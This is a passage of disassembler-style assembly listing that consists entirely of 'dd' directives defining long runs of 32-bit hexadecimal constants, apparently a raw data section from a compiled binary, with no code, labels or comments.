		dd 958452D7h, 1994C26h,	455C94CCh, 82AE7DB2h, 0E17FEA4Ah
		dd 309E9BD4h, 3B2945BDh, 0BF2ED5CAh, 0BFD19F61h, 4D8B197h
		dd 5B6DE777h, 30547E4Ch, 0C22D1886h, 626387F1h,	90D05BBAh
		dd 6359008Eh, 0DCED2D8Fh, 247434F5h, 80091746h,	0A0925570h
		dd 0BA573A7Dh, 5DA23F7Fh, 9D3284E9h, 1DA8C09Ah,	5845A9CAh
		dd 6E46A0A9h, 0B09968C2h, 274613FAh, 0B08E5DC1h, 11D115Ah
		dd 52B004CEh, 11F21415h, 46119A46h, 9A46B09Ah, 0B09AF2B0h
		dd 815F11F2h, 22AF5A2Bh, 93B0604Fh, 22C7BC60h, 3E8BB3BAh
		dd 56BBD156h, 4745511h,	9738A2D5h, 0BBF58926h, 0C998221Eh
		dd 0E489A1FAh, 5319A752h, 0EC8955B4h, 1474BDAh,	57FB2C73h
		dd 934EA55Ch, 3EFC028h,	1D5955AFh, 5D645F02h, 0C9868A93h
		dd 2B2B3C7Dh, 0D02FAD4Ah, 4844F92Bh, 4FA859E5h,	0C68A776Dh
		dd 52FB8AF8h, 0E612FED5h, 4ADA0EAh, 9F5F028Eh, 9E72A369h
		dd 85DB467Eh, 0F49857D6h, 0EDE343A4h, 496AE57h,	0B466FEA8h
		dd 3F3D4111h, 9B5D3D1Fh, 7DE67F09h, 0D35059DCh,	7BC8CA22h
		dd 9F442A7Ah, 9F486651h, 686B53A1h, 88231339h, 463C18A2h
		dd 8A0517B4h, 0CC2EACEh, 0DD600AE3h, 0ED1D6A37h, 810C8FBAh
		dd 1558E5AFh, 0CE1BC1EEh, 67C1BE77h, 83AED046h,	0CC4DD380h
		dd 0A280299Fh, 0D82255B8h, 5BF3F3FFh, 88CC34C5h, 0C46FD823h
		dd 9A23096h, 34D0Dh, 68C33C27h,	0E1DA3704h, 825B09D2h
		dd 0CF35643Fh, 6F088342h, 0BD84483Eh, 0FF175C80h, 902452ADh
		dd 0ED18592Dh, 0FD12AEEh, 0B74DEBE0h, 0AA06700Bh, 0B2984570h
		dd 0A62372BDh, 9A0778DFh, 8C5885A2h, 0A43F4C02h, 7D6FE6B2h
		dd 0F673098Fh, 0F91EC4AEh, 4273CBE7h, 66B989B0h, 3C09D8F0h
		dd 99A0D283h, 119C9DDBh, 0CBCF677Fh, 0B5A0FBB8h, 0F0B8980Eh
		dd 8CC98E81h, 9E04A2EBh, 24239324h, 468BE42Bh, 997C65EEh
		dd 63B15A00h, 0FAF04A79h, 7A032CB6h, 9AC1960Fh,	0E659504Bh
		dd 95BF1BF5h, 9221EF64h, 3BC14806h, 0D054D0DAh,	0ED1FAC89h
		dd 49B499C5h, 0E81BC529h, 8D9EFEAEh, 51657A3Dh,	3FAAAB53h
		dd 225FF6Ch, 157D4C6h, 0D8C26A63h, 0C69507D1h, 0D74F7ABDh
		dd 7011D9EDh, 0AB81F227h, 12BB7F02h, 16BEDE82h,	0BB3D3DB0h
		dd 0BE0988B2h, 0BD41B016h, 0BBA160F4h, 6C1B6AE3h, 0E3284A5Dh
		dd 15D79FD4h, 9013B60Ch, 2275974h, 15E5362Bh, 4E8251F4h
		dd 0E606AAB4h, 82FFB88Fh, 70292815h, 12F20FCAh,	0AD57073Ch
		dd 1D5E85E5h, 0C760AD4h, 5740DA20h, 886612B5h, 0D0D81A6h
		dd 0B476B605h, 8A1AE02Ch, 0B3141A36h, 0B15E1977h, 0ED0D1B1h
		dd 0CC17DA35h, 8A1E04CFh, 3C999818h, 1A44609Dh,	0FCC21CB4h
		dd 0DE9A7E5Ah, 187171D6h, 71C54ED3h, 0CC0A7522h, 5805D945h
		dd 0D01017E4h, 23564DF5h, 0A8F5E90Ah, 0D357AFABh, 216971E8h
		dd 0D307E5CBh, 0F878AE93h, 63A8F3D8h, 0D8F2059Bh, 2C60D21Fh
		dd 9929296Eh, 0C01691D5h, 9DE46E6Ah, 41247811h,	0C7F2C240h
		dd 1739D9Eh, 5087F44Ch,	1A3DEF7Dh, 0D9207122h, 0F9C2024h
		dd 62C39E8Fh, 591B426h,	1CF443ACh, 7FF3444Ch, 6BD31C2Eh
		dd 6C14B208h, 4C02872h,	3BB1251Fh, 0AB93E2ABh, 93EE9038h
		dd 5E901338h, 5AD1304Eh, 8B58978h, 78D75991h, 0CAEBEDACh
		dd 7EB350A2h, 68175173h, 7BDFCE8Eh, 0B2AA5151h,	56055150h
		dd 9B486D07h, 56828AADh, 0BAC666E1h, 709052B5h,	0A7F42C18h
		dd 59A5615h, 0CF46CA11h, 3BE732BEh, 0AEA2621Bh,	0E88D350Fh
		dd 2CCF21E3h, 0F67620A3h, 916B3C77h, 6FE22431h,	0EC8ED284h
		dd 918B6C1Dh, 0C9435C62h, 0C69360F0h, 0B1F4F88Fh, 9ECB63E9h
		dd 23A250DFh, 0A79577BFh, 9B90FF9Dh, 40170E75h,	2420AB93h
		dd 0EB204C6Eh, 1DAB252h, 9FBD032Eh, 16348351h, 0AC237766h
		dd 1681091Ch, 847CE529h, 8125A394h, 25798F30h, 0DD2508ECh
		dd 70ECF488h, 5D136C82h, 340D318Ch, 6FABB44Fh, 7769B656h
		dd 2820BCC5h, 3E7BC22Bh, 0F88F7D3Fh, 4C6A3C0Eh,	264E4111h
		dd 5CCAFB3Ch, 7F6C3421h, 5B11E37Dh, 0EC2780D2h,	7FE2EA8Bh
		dd 0C8D49975h, 74B8ABE5h, 81166D95h, 259FA8BFh,	86995639h
		dd 58A0C4B0h, 3DADBC8Fh, 660869B2h, 1F74F85h, 15608AFh
		dd 187AA218h, 537888F9h, 0A83CAB7Eh, 0AE160BEAh, 3EB742EEh
		dd 45F519F5h, 0EC742208h, 0A3921929h, 1F5BC6E5h, 1F7AC125h
		dd 0EB94736Eh, 0FA8ACA8h, 0FC5F673Fh, 0F48EE654h, 0B54E6C88h
		dd 17CFEB15h, 7A7E5774h
		dd 3B75BD73h, 0A92CC23Eh, 4FBD98AAh, 89AD9CB2h,	82AD9F5Ch
		dd 5D9EDE71h, 0FED08D78h, 0D3428AB7h, 0A2875C9Dh, 8205B991h
		dd 84ED260Ah, 9A17A2E0h, 5DA2352Dh, 230B288Fh, 0EBD0968Bh
		dd 95C425CDh, 22E4560Dh, 0D9D1DCAAh, 441C3CA4h,	96061C91h
		dd 0EA8E452h, 0AE148528h, 0B256A399h, 0E920808h, 54208A63h
		dd 77C188Fh, 118429D1h,	47A5D0E5h, 6C09E910h, 0C512B92h
		dd 11B008FBh, 2112FC94h, 2F32278Ch, 6404468Eh, 0CC875009h
		dd 5D69595Dh, 0F05B628Dh, 0AB521304h, 2927240Ah, 0E23E700Fh
		dd 0E63C55EDh, 0C6D2F50Ch, 0B51E0F71h, 4FAB0267h, 0CD40C1E9h
		dd 38EF5AA6h, 0AD66CBF1h, 30BDCF17h, 5EC29CC6h,	0E51ABF98h
		dd 0C580F21Fh, 0D1C01844h, 652CFF07h, 7C9ADADEh, 5A090D52h
		dd 8B7054CFh, 0F468E287h, 0DC8A2Fh, 701B659Eh, 0B69F7183h
		dd 0C9769465h, 6929EDA7h, 971E04B3h, 0C60BC35Ah, 3772A512h
		dd 0C52328EEh, 9D217CF5h, 0F488CEDDh, 0C2721A17h, 8ADA62FFh
		dd 58E529EBh, 6B2F3F0Ah, 632C5092h, 1A046C17h, 0EC36A3Ch
		dd 0D6605C0Ch, 55140599h, 85020EF0h, 83164351h,	3775513Ah
		dd 14179144h, 9B46340Ah, 0A4D3B6CFh, 34F7BC9h, 0A3A3FA88h
		dd 0E23A791Eh, 27B2970Fh, 0A1D45C0Ch, 97BCFACEh, 4D8D0321h
		dd 4FA79C05h, 0F7913298h, 0F5134BF8h, 45014987h, 722931FCh
		dd 42980BD1h, 11676BF7h, 0B4F2C7Dh, 206DBC9Ch, 6136791Bh
		dd 131D1B38h, 0B3DED07Fh, 67BC7409h, 34BF4605h,	0C81A89A4h
		dd 0FC2F94A6h, 3E1F7BC9h, 0BF68EF79h, 69A2A757h, 6686F792h
		dd 4E753DE4h, 8F79B3DEh, 2D7BF8FEh, 16C5FBD7h, 1F7732CCh
		dd 0E3034E12h, 14C05910h, 35E351EDh, 6681D153h,	0A44D742Eh
		dd 8AE06412h, 84CBE922h, 2EB5A382h, 88FE7E17h, 6099C7BCh
		dd 0A28AD8C6h, 29C4953h, 8D3A290Ah, 0E807C434h,	0D4CC754Ch
		dd 18C044D7h, 0C33CA7AEh, 0B46DF181h, 9AFB401Ah, 0A9D3340Ch
		dd 0D49060A1h, 0A4647ED5h, 0B0F382FBh, 7520A62Eh, 1E1E1554h
		dd 69151FAAh, 2E99609Ah, 0B64CAC0Eh, 0F2451766h, 53364CABh
		dd 49DB33D7h, 0FDD13857h, 3455061Bh, 9847DB02h,	0B04D8A69h
		dd 878115A9h, 5B33AEDEh, 88B95985h, 5A886732h, 54617588h
		dd 67FBAA29h, 8ADB3190h, 0F0F6A638h, 9BCB9516h,	0D291314Eh
		dd 1A6EE69h, 1775FA44h,	9B41331h, 0ACFA05A8h, 98880653h
		dd 7E9F5A32h, 0F193C1C4h, 5184D117h, 0D6608C3Ch, 6672F30Eh
		dd 4037F184h, 1413F4E9h, 14083109h, 0B661AB45h,	6282736Bh
		dd 0D99F6180h, 27688B3Dh, 795C03ECh, 9034C387h,	96702346h
		dd 1347EBD9h, 98844DCCh, 7F34D22Ch, 0BE8C604Eh,	8BFC5011h
		dd 6984D728h, 33948680h, 0B3E888FAh, 0F68A60DAh, 497ECF41h
		dd 3D142120h, 500AF420h, 2B95C685h, 2C1A4220h, 64408522h
		dd 0B42F5301h, 2EF38B2Bh, 3AA084D9h, 33A92E9Eh,	0CF88F2BEh
		dd 0BEE598CEh, 2237DC3Ah, 67A6EA9Ch, 160C1003h,	0D781F5FBh
		dd 0BC76F90h, 44A08ABh,	0F218C86Ch, 0F09B01F1h,	1F21F513h
		dd 571F303Dh, 0F3688C8h, 0D8B8218Fh, 0B8662C06h, 0CE1E357Eh
		dd 0A7835AC8h, 21F0D24Ah, 0BBCBA38Ah, 5C86D44Dh, 6A2A8E73h
		dd 1C271373h, 1849EC1Eh, 0F3FDB01Ah, 4232E4AAh,	0CA2AA01Eh
		dd 330BBB8Dh, 95D5BA8Bh, 0BFA67007h, 0AC3793E8h, 69207689h
		dd 0A956E062h, 14410C40h, 0D89DB45Dh, 4D182E4Eh, 5119F916h
		dd 7C023040h, 61FE7D8Dh, 7F999D42h, 0C86222F4h,	0B73B96E8h
		dd 184668EBh, 0BC770D26h, 97201B0h, 0F52EE405h,	0C220E36h
		dd 0CE05B4D6h, 0F4B18430h, 14825E32h, 1D80860Ah, 915C6054h
		dd 0BB4894CBh, 3CE3D00Ch, 7D7BB07h, 0CB31036Ch,	8AD6960h
		dd 0F3037A6h, 1482304Dh, 993173C5h, 71A1AC76h, 0A2B7CC17h
		dd 0AD276D72h, 0B9098736h, 0CF5846B0h, 11DF6A9Ah, 145750F6h
		dd 8AFEA50Eh, 49A5F3F7h, 0BD767691h, 40523054h,	7EF00142h
		dd 1C040773h, 0B2892047h, 0E3B44777h, 0F5D72014h, 0A7F58085h
		dd 0C125D836h, 4B6E1296h, 1FBD3FC8h, 0C9F8B396h, 0A3DD7ABFh
		dd 0E28DF85Bh, 9CC07E60h, 0FD052F1Dh, 3E1EB6E0h, 0B0250DFFh
		dd 0D951B55Ch, 0FC2CEDEh, 65CA938Dh, 8EA1721Fh,	1E084A1Bh
		dd 8843A4C0h, 54CFC01Ah, 1BA8C1E0h, 0D2E93493h,	43348A38h
		dd 7AACCB63h, 4C5D407h,	0AC5B6273h, 18825CAEh, 91878B4Dh
		dd 0D4C0124h, 519BA914h, 42940FF1h, 0F1518C33h,	0B546CC57h
		dd 6327A934h, 0C3A3423h, 0B8C87468h, 81604607h,	0B3246249h
		dd 0DAB6E601h, 0CDAB5218h, 0B2F6723Ch, 54427262h, 0DAC4310Ch
		dd 7E8DC03Ch, 0D5915D73h, 73CED4C5h, 1929784Ah,	0AD7255FBh
		dd 0C069BB65h, 0C64B9C9Ch, 507A648Ch, 1C6245C1h, 10AAC1Ch
		dd 0D590C0EDh, 4F1553BDh, 0A42518B7h, 0AEE45A22h, 65D284B7h
		dd 2EF6E2A5h, 0A8A9ED41h, 36651608h, 0DD0ADF45h, 0A2B01202h
		dd 5924B75h, 5BB273CCh,	70880278h, 85899215h, 167C1D4Ah
		dd 0C769CAC8h, 12AFA8A9h, 3A4ADE14h, 89D9076h, 341E9D00h
		dd 184F645Bh, 936E8826h, 0E946E745h, 0EE4B328Ah, 0BA2EC7FCh
		dd 4DC3A030h, 0C7BDF904h, 874201CBh, 0B6FA5DE3h, 9E664EBh
		dd 0A4A9736Bh, 8E6BF3DCh, 3976E5FBh, 0DC763D22h, 1355D4AFh
		dd 0F442030Ch, 0A6F00DAEh, 7EBC960Dh, 8CA3D39Ah, 0BA46D016h
		dd 0A305101Eh, 799E9670h, 0C4449E5Fh, 0EE8181F1h, 1B0B3D84h
		dd 40D8BF21h, 5F99D049h, 0CCC10D4Fh, 1E6A5504h,	0A40929C9h
		dd 38C1D826h, 0AA8475BEh, 4C172280h, 7D4C730h, 0D70FCA83h
		dd 195D7298h, 9077350h,	306D2E13h, 368298Ah, 30875955h
		dd 202D07D0h, 0A819C058h, 22065821h, 0EF3C4CE2h, 6AD6A1F0h
		dd 289BCF1Ch, 0D0385F34h, 0FE3A8574h, 0DCBBC9C1h, 349825B3h
		dd 358396BCh, 0AE3E39E0h, 28459E18h, 41297767h,	0AE1FA982h
		dd 7C79A233h, 40553182h, 91C6BAADh, 0ACACEA6Eh,	0EDBD1B6Dh
		dd 0E7CAAE5h, 0EFC77186h, 0E2FBDC6Ah, 2C1FF5ABh, 0A6D31936h
		dd 0B2219589h, 5180DCEAh, 0BD0143A7h, 32BF7B03h, 0ACEDAC00h
		dd 0CB6D9971h, 0A486B868h, 5DD11B76h, 3558EB18h, 905BC68Bh
		dd 2EAD2EF4h, 0DB0DD8ABh, 8D0156C8h, 1C46543Bh,	12CCAC51h
		dd 0FB9A121Ah, 0F2D51B5Eh, 2BC54F1Dh, 65FD8A21h, 0E2EFB301h
		dd 477FAED6h, 38AEF49h,	0AE0DF86h, 17074D23h, 0F12569ADh
		dd 57F1DE51h, 68EF5589h, 1598F53Ah, 2519F3Ch, 92FEBAFEh
		dd 0E3F95DAEh, 0BEB20559h, 0DB0AEBEBh, 2B9C9559h, 701A2A1Bh
		dd 0A7D43010h, 0EF790D87h, 0A3E1A194h, 540D1770h, 60318B9Ch
		dd 0AC525B3Eh, 24148A04h, 55EAF550h, 8FF59DEFh,	65AD0EFBh
		dd 2B91556h, 16BD7D29h,	99D9AA9Eh, 0B552D2C4h, 53551B3Eh
		dd 0B32D5078h, 61557653h, 1E7D1BF0h, 0BE86731h,	38176AC7h
		dd 957AC78h, 507FAAECh,	6BDD49F3h, 0B42EED1Fh, 0A53C1D57h
		dd 3E080644h, 0A4FF3486h, 87D6998Ah, 2290E15Ch,	63869BA6h
		dd 89AC3DCh, 48EF736h, 2E0CA7FEh, 0BDCECD78h, 0E0606DF4h
		dd 0D4E4A0C8h, 63065018h, 0A2998D16h, 58C935AAh, 540CBDDCh
		dd 8F7886DFh, 1B0A736Ah, 0AD9CE0D2h, 4507A601h,	4B3FB8Fh
		dd 0E98A508Fh, 62202B33h, 94E66DE3h, 1F042FBCh,	5261355Ch
		dd 0A6321306h, 85D68865h, 0CFD22D48h, 61E240FAh, 0DF301901h
		dd 0E961B0F4h, 84F0E104h, 29E14199h, 30C67F22h,	1213330Bh
		dd 8EA6BF48h, 0BCC6C456h, 0CC65F7AEh, 883187A0h, 10AFDC67h
		dd 452F13F6h, 0AFB631D1h
		dd 51862D7Bh, 15F2F59Fh, 3751CECBh, 4BEC548Bh, 3A76B818h
		dd 8E503958h, 96BBDD94h, 0C6CE45F7h, 756AE665h,	8BA8866Ah
		dd 6063BE36h, 0EC8B59D3h, 2B0BD597h, 0EA13041h,	2CD3A139h
		dd 0B8AAB4F5h, 50364C13h, 2B5831B0h, 4B83B544h,	40A5A847h
		dd 0CBF9882Bh, 79365D7Eh, 0E8C29617h, 0D852A4CCh, 0F60F62A1h
		dd 0B940F748h, 6FFEF361h, 531CCB7Ah, 58AC1237h,	16116C3h
		dd 5A374877h, 0BBCB2E01h, 6BBAFB8h, 0E9A8D519h,	0FFCC7211h
		dd 6B261B62h, 1701850Eh, 6F139AA8h, 0A8B4B441h,	190F2156h
		dd 0D5D96972h, 0CC51C6E5h, 0CDDA4F9Fh, 0F3991964h, 0BFE4FFC0h
		dd 0B4CC115Fh, 606A090Bh, 590E8215h, 0AA093EF3h, 63A18564h
		dd 0EF6E1161h, 0C861AE83h, 0DC023265h, 438390FBh, 31B918C2h
		dd 2471E281h, 10DA265Ch, 9AFB8244h, 0B3A928DEh,	18CDC665h
		dd 85D10147h, 0D024B8CAh, 0DD339F1Fh, 0D7C4D196h, 0B2A947AFh
		dd 0FBBC66CAh, 3D8CC452h, 0FD725773h, 0E54A1872h, 31154515h
		dd 0B8F73AA0h, 0EEC0D441h, 65D0D19h, 0B343BC68h, 0C529F0FFh
		dd 0C94B6BE9h, 73810CC9h, 8E5AB732h, 70373664h,	0AF81977Ch
		dd 9025F7EAh, 5A6FAC08h, 7111F5ECh, 0BEA6521Fh,	0B7E9804Ch
		dd 7942FE62h, 0A3B35Dh,	0ECE38729h, 84420C65h, 3D05F562h
		dd 0ACB9C15h, 0A1F9715Dh, 0A40C3C19h, 426EFE80h, 7EFEE50Bh
		dd 0D8F4CEBh, 4E644AC6h, 4D20DFBh, 33AFD2B3h, 0DEB6548Eh
		dd 0F813718Ah, 3019CD25h, 3813DC72h, 357197Bh, 81593B9Ch
		dd 6066CDF7h, 19764752h, 0A20900AEh, 5C8AA4Ch, 508D60ECh
		dd 2E5080FCh, 0AE1075A3h, 31B02203h, 0EE808D38h, 6094E0Ah
		dd 3868B8EBh, 983DA17h,	221C17C5h, 0A3901984h, 0A49D1F41h
		dd 0C09AC1F4h, 8FF181A8h, 8209D402h, 674E09FFh,	7640AD75h
		dd 541C5A15h, 0C3BFF461h, 8E14540Ah, 0B8685461h, 870568B2h
		dd 60ADEFC2h, 99983D28h, 1F9A6AA6h, 5E372DCAh, 0F2CE30DAh
		dd 242ECD5Eh, 971B36E1h, 0B9490A5h, 17598294h, 0DAEBD461h
		dd 61CFDD05h, 18725DEh,	82850385h, 4F5F2379h, 0B8C3A179h
		dd 172C1590h, 8836794h,	0B810C94h, 8FED3512h, 0C286500Dh
		dd 11C08048h, 0CB54BCE3h, 0DC262C18h, 422EFEB0h, 75A96E8Ah
		dd 94CB7365h, 5E6632F9h, 4EB54A85h, 0EE041318h,	68124E1Dh
		dd 0B5037D8Eh, 13BD4FEDh, 0EBAF0F9h, 9F52F8Bh, 3A5D508h
		dd 0C4F96874h, 0D106C2E8h, 10CA8A4Ah, 60F07538h, 0F9E1A6D2h
		dd 0CA44246Fh, 2CA75946h, 72E51E3Bh, 0BBB6691Ch, 9815CECCh
		dd 4A1DBDA0h, 0B4D05EABh, 0FB51DC60h, 0CB50C08Fh, 0F6D19260h
		dd 279D5834h, 0B7AF1C81h, 8F2A6470h, 6C6D04E3h,	0CD840DB2h
		dd 0D7D41760h, 8FB6C950h, 0DDF889E2h, 9D9F75CFh, 862E5DD9h
		dd 0FC484027h, 477DF0EAh, 4B1FDD5Bh, 6061FA26h,	0C6C285F0h
		dd 1A4BF8A2h, 0B339406Fh, 41C1575Dh, 0A4FFC1F0h, 4F5834BFh
		dd 12C8031Fh, 85C32AE0h, 89B4DB86h, 955BABE8h, 0F41B43E0h
		dd 7D626FC7h, 10C0F7F2h, 0BC20E81Dh, 50D24D0Eh,	2366D714h
		dd 0EAFC04Dh, 0E10F7A17h, 0BB84C226h, 0BE01A25Dh, 22208248h
		dd 7B90183Ah, 0F839A1Dh, 1AEA4709h, 0EAFE0689h,	10FC4060h
		dd 0E76F226Fh, 0E30325EEh, 9A14F35h, 478A22Ch, 528BD7EEh
		dd 73801AF8h, 87DFB3A1h, 0A99099AFh, 0B7113EA8h, 0C6C39BA7h
		dd 9D8C3255h, 216CD1D9h, 4264E873h, 30D44F6Eh, 43424E8Dh
		dd 0C4C222A6h, 37F59EDCh, 1D64595Ah, 26761532h,	0B4AF6E8h
		dd 63E93318h, 4CD72A64h, 8691EDD4h, 544FFDE8h, 66C65323h
		dd 89E16EC2h, 644AB6BEh, 71339D1Eh, 0AE6227B7h,	23BE7DD7h
		dd 2645153h, 90B54F6Fh,	48D28A23h, 1332A2A6h, 0C7F57B79h
		dd 53C4771Ch, 637E1532h, 0AA18F6F4h, 0E74C7D4Eh, 2B8AEA1Dh
		dd 13248A99h, 0A5257B7Bh, 5A64308Dh, 0CAE61532h, 99EFDBE0h
		dd 292C2EA5h, 0CE85E256h, 0A7C57BECh, 32B920A8h, 7ED336FAh
		dd 3668BA8h, 0CE85E095h, 0D9394F80h, 0F8652129h, 6CB63A6Dh
		dd 0AA357317h, 999D9F44h, 93B2AAF4h, 0DBF80A43h, 2EB175C4h
		dd 0C25AD966h, 0DBD239EFh, 0CDFFAE3Eh, 22896FEFh, 827BB3A1h
		dd 2BB1D93Ch, 59157113h, 94F6097Fh, 54E2327Dh, 122AEC26h
		dd 0E9ED9448h, 0C0F96521h, 8454EC4Ch, 13DBB43Dh, 0C8FDCA51h
		dd 0EDD08099h, 9D94F4FCh, 0B7515228h, 0CDF0BC27h, 532833CDh
		dd 943FC851h, 0BD4D593Dh, 1E6F1EFEh, 42B70EB4h,	0B789C367h
		dd 6F54DD3Dh, 65659878h, 0D04CC22Ah, 2B4789EDh,	2B60F6C5h
		dd 22641153h, 1C934F6Fh, 3A3C17D2h, 53DB4B0Bh, 0C3BCAEAh
		dd 0FF1170DDh, 0DF4FA3F7h, 6766532Bh, 0B3A26E62h, 289E056Fh
		dd 0CC55A65Ah, 5D15DE04h, 84D83254h, 90A32D4h, 1458A4CCh
		dd 73FA320Dh, 9044E50Ah, 94D8FFA2h, 36DAECB1h, 4B0A4CCh
		dd 8E1D9CDFh, 42D33F6Bh, 74D89B4Ah, 36D4B2DBh, 22B0A4CCh
		dd 0A8A4C5A9h, 6A79E76Dh, 4B21419Ah, 50505366h,	37B441D6h
		dd 8F2B7DFBh, 22E92193h, 8B3383C5h, 8994D978h, 0FB481F36h
		dd 7ABA4F56h, 13358A99h, 0F52D3E70h, 0F8343CFEh, 26541532h
		dd 0BFB27CE6h, 0F628297Bh, 6CC62A65h, 9BFDF9D8h, 15BB5C37h
		dd 0E44CF333h, 0B372A8F9h, 0CC48E35Fh, 60998454h, 0E87DD1F3h
		dd 98A7FA93h, 0F13348A9h, 0F7F5A3E6h, 317D0B30h, 42641153h
		dd 888247CEh, 6352163Bh, 44C922A6h, 0D7658F9Dh,	0E8F9CF40h
		dd 0F2E615BDh, 6454E04Ch, 0D1F37B7Eh, 6EF9CCC6h, 0A2A6D898h
		dd 8F9BA28Fh, 2D5B6692h, 454C84CBh, 36F859C4h, 0E330CDD5h
		dd 7B2A2E6Ah, 0A248BE40h, 44521BD6h, 99DFA53Fh,	0D8390C9Dh
		dd 7E11AC17h, 0D8CC8CA2h, 5543398Ch, 48A7BFFEh,	0FC074521h
		dd 4FE2D136h, 53B93194h, 4F23239Bh, 0D1488A43h,	6A50CA6Ah
		dd 60E67A76h, 0F044B057h, 93273289h, 9FF1E233h,	0A7663A0Ch
		dd 0E9E0148Ah, 0D66BAB69h, 54CD4CE1h, 0D3787654h, 0E64368D3h
		dd 0A99A9992h, 0A3D831E8h, 96F7EC27h, 0C8A91CBEh, 27A6FFD9h
		dd 0A35D9B86h, 454CD133h, 3D0F2B85h, 0EFDADCFDh, 2A662653h
		dd 0E9EC8B7Ah, 79A5F0E9h, 54CD4CF0h, 0D0CA9FE4h, 8653EF13h
		dd 0DF046452h, 2668468Ah, 8A72F4F2h, 24696230h,	4CC12A67h
		dd 7F74E9C0h, 5AD35FAAh, 993554CEh, 0B7A8D3B8h,	0D027F94Eh
		dd 3377A99Ch, 0CA91A6E1h, 0D44FD2EBh, 66475339h, 0F5A24EA2h
		dd 0E9BA786h, 0C748A676h, 3F012E08h, 32AE8219h,	5FD95C14h
		dd 0E948DAC4h, 61D23B01h, 0FE11BEAh, 11978250h,	0A505887Ch
		dd 8F8120AEh, 2E8078C2h, 80F0A9F0h, 87C24B49h, 0F4097C30h
		dd 3C5D3E01h, 20940882h, 820908C2h, 0E9DD5546h,	2BEC8AF5h
		dd 0AEF876Bh, 5F63A73Eh, 923A65D9h, 0EE3B9115h,	23A9E1A0h
		dd 216AA8h, 0EF220A49h,	0B49A7813h, 91CB7DE8h, 2F8EEA7Ah
		dd 351D5110h, 0C21F3A93h, 8AF4B507h, 55EC182h, 89E0F86h
		dd 12270443h, 0FFEA444Eh, 0CC28A205h, 2DC5CBF8h, 88DE6E3Ah
		dd 0FF2B45B8h, 0F733742Ah, 14613915h, 0B518CCC3h, 2E5F7A30h
		dd 18C7A698h, 92744C98h, 0C345441Fh, 74989818h,	43C87F94h
		dd 0FF2018C5h, 8547DF00h, 0C188260Ah, 20CF2703h, 39FAAE8Fh
		dd 7008E8h, 0A1473DE2h,	81A43058h, 717C58C0h, 755EF8BDh
		dd 0AF8ACBD1h, 0D7B21C43h, 426743EEh, 0AAB256DDh, 606DD2A0h
		dd 0AB30A46Dh, 0F1AEDF30h, 83AEB5EAh, 0BE84B491h, 0EEDE83BCh
		dd 229BB987h, 0B07E008Bh, 0BA81DDC4h, 5C2F080Ah, 54B3D517h
		dd 0C0EEA541h, 6A42B01Ch
		dd 0A80BD1E7h, 67643B23h, 2D1DEDDEh, 0FB8A0F14h, 2101ED7Ah
		dd 8D05A62Dh, 3EEC576h,	75D85581h, 0BB159EA4h, 0EB8BAB8Eh
		dd 0C4750F02h, 53C5E71Fh, 70674D57h, 1E14419Fh,	0B2BE1A50h
		dd 51935EF6h, 32EDD204h, 71213A61h, 8398227Dh, 0C48A8EB3h
		dd 0AEBB7DFh, 7CF8FAFBh, 4D00DD4h, 0D55AE9Fh, 0ABC5F22Dh
		dd 0F828A436h, 130F77Ch, 0FDF9EBB4h, 0ED5D7F8Bh, 0F485A1E4h
		dd 0E3E449A3h, 42AEF1E8h, 0BB96CF30h, 8922EB62h, 2F11C4E7h
		dd 6396AF6Eh, 0A361B578h, 0C70BAA45h, 5CAEA77Dh, 95B44F9Fh
		dd 0BFA0F2EFh, 0BFD6609Ch, 0AEF2A99Fh, 9E476E9Eh, 8124E7B1h
		dd 0E52D5860h, 46A1AEF2h, 0FDF1507Bh, 67748948h, 0AE31A0B4h
		dd 9FFDE3B1h, 89151604h, 0F9B58708h, 20C4567Fh,	2475EF21h
		dd 0C6A8BA89h, 18FF0ED8h, 0D26FE97h, 77AA18Bh, 816D00F6h
		dd 9DC60356h, 0D05EBEC6h, 0A3A86BD8h, 7CDB5706h, 0D1A09DBDh
		dd 0E342542Ah, 0F396D42Bh, 6F0077E1h, 26D0A813h, 3A1D5BC5h
		dd 171C4574h, 0BD88983Eh, 0FBC8C2C7h, 0A4DADC64h, 0CA230B7Ch
		dd 4DC71768h, 0FA337393h, 0A2AE9A06h, 10D3E669h, 4620EF3h
		dd 130A49A5h, 0F604D07Dh, 186B074Eh, 1D9BC67Dh,	9EDCC16h
		dd 41BD6624h, 3D28544Bh, 279430Bh, 0F96989D2h, 9CC0614h
		dd 8C5547A4h, 30B1C535h, 0EF76F682h, 0EE23BC08h, 66CA11DEh
		dd 4E83AD58h, 88ABA958h, 0A10C5A36h, 84324193h,	0E23A55F4h
		dd 5482A96Dh, 4475C651h, 828C22DCh, 81A81578h, 182259DCh
		dd 4B0E6166h, 52069469h, 0CA318Bh, 4A7FA273h, 0CC34D0A5h
		dd 85137830h, 1477D482h, 0B429313Ah, 0CAD1988Ah, 5A648594h
		dd 0F00C6045h, 445398C0h, 0CE19329Fh, 0C0F507E8h, 819E9245h
		dd 966A9B60h, 0D71A0FF5h, 0ACB4E40Bh, 91045961h, 0FBEC25A9h
		dd 77165165h, 0D3FAFAB0h, 0BA295FE7h, 0DA31885Ch, 50D79FAEh
		dd 547D216Dh, 1183AD5Ch, 0D3EED111h, 155E08B7h,	5A70CC8Dh
		dd 89DC6CBh, 3BC84075h,	827AC4F7h, 0F2FD988Dh, 0BE0590FDh
		dd 0ABA36D46h, 2DC890D5h, 0CA2C8675h, 6A9F081Fh, 362C9377h
		dd 2D562831h, 0C3D5ADDh, 0AAA066Eh, 19B2DDADh, 0BCFE969Ah
		dd 2D0566BFh, 36FAE21Eh, 7850366Ah, 0CA1CB25Ah,	30BB3EC4h
		dd 114C552Ch, 379B6C12h, 6D1F428Ah, 743BCE37h, 0F9E25679h
		dd 2409EAB7h, 11D83B8Bh, 82A16F54h, 0B51C3E05h,	0D33F8B02h
		dd 76D1C309h, 25CB5F70h, 47680DA2h, 0DF91EEE1h,	8EDA402Dh
		dd 4168DB44h, 0D13AE4DAh, 0A2D59C6Ch, 0CC5549A5h, 0F2BA0322h
		dd 77EF1A53h, 57668FA4h, 75847CC2h, 7D4B95FDh, 828D2BADh
		dd 91C9A441h, 57360469h, 4F7A228Ah, 352A689Bh, 0DB343DB8h
		dd 168C359Eh, 0A29D29AAh, 5C388111h, 0A4477C16h, 0AEE9D52Fh
		dd 428AD095h, 9F479250h, 4CF6970h, 1EC18018h, 6A210000h
		dd 0B43BEF40h, 35B47D8Fh, 1E37983Ah, 0D17B10B6h, 62FAAF96h
		dd 0E821C88Dh, 28CF269Ch, 391655h, 0F1472F15h, 0E7AA1077h
		dd 3CE54E15h, 0F07DE5CEh, 4158455h, 0E60096BEh,	74995E5Eh
